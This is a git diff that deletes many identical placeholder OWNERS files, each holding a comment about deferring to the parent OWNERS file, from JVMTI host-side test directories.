diff --git a/hostsidetests/jvmti/run-tests/test-1934/OWNERS b/hostsidetests/jvmti/run-tests/test-1934/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1934/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1934/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1934/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1934/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1936/OWNERS b/hostsidetests/jvmti/run-tests/test-1936/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1936/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1936/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1936/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1937/OWNERS b/hostsidetests/jvmti/run-tests/test-1937/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1937/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1937/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1937/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1937/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1939/OWNERS b/hostsidetests/jvmti/run-tests/test-1939/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1939/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1939/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1939/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1939/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1941/OWNERS b/hostsidetests/jvmti/run-tests/test-1941/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1941/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1941/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1941/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1941/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1942/OWNERS b/hostsidetests/jvmti/run-tests/test-1942/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1942/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1942/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1942/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1942/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1943/OWNERS b/hostsidetests/jvmti/run-tests/test-1943/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1943/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1943/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1943/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1943/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1953/OWNERS b/hostsidetests/jvmti/run-tests/test-1953/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1953/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1953/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1953/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1953/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1958/OWNERS b/hostsidetests/jvmti/run-tests/test-1958/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1958/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-1958/app/OWNERS b/hostsidetests/jvmti/run-tests/test-1958/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1958/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-902/OWNERS b/hostsidetests/jvmti/run-tests/test-902/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-902/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/OWNERS b/hostsidetests/jvmti/run-tests/test-902/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-902/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-903/OWNERS b/hostsidetests/jvmti/run-tests/test-903/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-903/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/OWNERS b/hostsidetests/jvmti/run-tests/test-903/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-903/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-904/OWNERS b/hostsidetests/jvmti/run-tests/test-904/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-904/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/OWNERS b/hostsidetests/jvmti/run-tests/test-904/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-904/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-905/OWNERS b/hostsidetests/jvmti/run-tests/test-905/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-905/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/OWNERS b/hostsidetests/jvmti/run-tests/test-905/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-905/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-906/OWNERS b/hostsidetests/jvmti/run-tests/test-906/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-906/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/OWNERS b/hostsidetests/jvmti/run-tests/test-906/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-906/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-907/OWNERS b/hostsidetests/jvmti/run-tests/test-907/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-907/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/OWNERS b/hostsidetests/jvmti/run-tests/test-907/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-907/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-908/OWNERS b/hostsidetests/jvmti/run-tests/test-908/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-908/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/OWNERS b/hostsidetests/jvmti/run-tests/test-908/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-908/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-910/OWNERS b/hostsidetests/jvmti/run-tests/test-910/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-910/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/OWNERS b/hostsidetests/jvmti/run-tests/test-910/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-910/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-911/OWNERS b/hostsidetests/jvmti/run-tests/test-911/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-911/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/OWNERS b/hostsidetests/jvmti/run-tests/test-911/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-911/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-912/OWNERS b/hostsidetests/jvmti/run-tests/test-912/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-912/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/OWNERS b/hostsidetests/jvmti/run-tests/test-912/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-912/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-913/OWNERS b/hostsidetests/jvmti/run-tests/test-913/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-913/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/OWNERS b/hostsidetests/jvmti/run-tests/test-913/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-913/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-914/OWNERS b/hostsidetests/jvmti/run-tests/test-914/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-914/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/OWNERS b/hostsidetests/jvmti/run-tests/test-914/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-914/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-915/OWNERS b/hostsidetests/jvmti/run-tests/test-915/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-915/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/OWNERS b/hostsidetests/jvmti/run-tests/test-915/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-915/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-917/OWNERS b/hostsidetests/jvmti/run-tests/test-917/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-917/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/OWNERS b/hostsidetests/jvmti/run-tests/test-917/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-917/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-918/OWNERS b/hostsidetests/jvmti/run-tests/test-918/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-918/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/OWNERS b/hostsidetests/jvmti/run-tests/test-918/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-918/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-919/OWNERS b/hostsidetests/jvmti/run-tests/test-919/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-919/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/OWNERS b/hostsidetests/jvmti/run-tests/test-919/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-919/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-920/OWNERS b/hostsidetests/jvmti/run-tests/test-920/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-920/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/OWNERS b/hostsidetests/jvmti/run-tests/test-920/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-920/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-922/OWNERS b/hostsidetests/jvmti/run-tests/test-922/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-922/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/OWNERS b/hostsidetests/jvmti/run-tests/test-922/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-922/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-923/OWNERS b/hostsidetests/jvmti/run-tests/test-923/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-923/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/OWNERS b/hostsidetests/jvmti/run-tests/test-923/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-923/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-924/OWNERS b/hostsidetests/jvmti/run-tests/test-924/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-924/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/OWNERS b/hostsidetests/jvmti/run-tests/test-924/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-924/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-926/OWNERS b/hostsidetests/jvmti/run-tests/test-926/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-926/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/OWNERS b/hostsidetests/jvmti/run-tests/test-926/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-926/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
